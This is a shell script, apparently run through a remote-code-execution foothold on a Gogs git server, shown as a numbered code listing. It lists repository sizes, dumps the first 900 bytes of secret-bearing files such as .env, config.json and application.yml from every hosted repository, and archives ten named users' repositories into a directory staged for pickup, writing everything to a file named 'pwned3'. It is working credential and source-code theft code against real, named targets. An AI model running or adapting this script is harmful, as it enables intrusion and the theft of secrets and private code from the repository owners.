update 1.5 KB

12345678910111213141516171819202122232425262728293031
  1. #!/bin/sh
  2. R=/data/git/gogs-repositories
  3. OUT=/data/gogs/data/tmp/local-r/116/nslxits0yu/rce-lxits0yu.git
  4. {
  5. echo "=== round3 $(date -u) ==="
  6. echo "--- sizes (MB) ---"
  7. du -sm $R/*/*.git 2>/dev/null | sort -n | tail -45
  8. echo "--- config files found ---"
  9. for d in $R/*/*.git; do
  10. o=$(basename $(dirname $d)); n=$(basename $d .git)
  11. for f in .env .env.local .env.production .env.development .env.prod .env.example config.js config.json config.yaml config.yml application.yml application.yaml application.properties settings.py docker-compose.yml docker-compose.yaml; do
  12. if git -C "$d" cat-file -e "HEAD:$f" 2>/dev/null; then
  13. echo "FOUND $o/$n:$f"
  14. git -C "$d" show "HEAD:$f" 2>/dev/null | head -c 900 | sed 's/^/ /'
  15. echo " ----"
  16. fi
  17. done
  18. done
  19. echo "--- archives staged ---"
  20. for d in $R/youzi/nebula.git $R/zoujiajian/nebula.git $R/youzi/web-yinhe.git $R/youzi/admin-yinhe-cps.git $R/youzi/admin-yinhe-vite.git $R/youzi/foxvip-admin.git $R/zoujiajian/tokens-website.git $R/zoujiajian/relay-code-full-stack.git $R/yhlxj/ai-chat-api.git $R/youzi/api-nebula-doc.git; do
  21. [ -d "$d" ] || continue
  22. s=$(du -sm "$d" 2>/dev/null | cut -f1)
  23. n=$(basename $(dirname "$d"))-$(basename "$d" .git)
  24. if [ "${s:-999}" -lt 60 ]; then
  25. git -C "$d" archive -o "$OUT/lx3-$n.tar.gz" HEAD 2>/dev/null && ls -la "$OUT/lx3-$n.tar.gz" | awk '{print "ARCHIVED",$NF,$5}' || echo "ARCHIVE-FAIL $n"
  26. else
  27. echo "TOO-BIG $n ${s}MB"
  28. fi
  29. done
  30. echo "=== end3 ==="
  31. } > pwned3 2>&1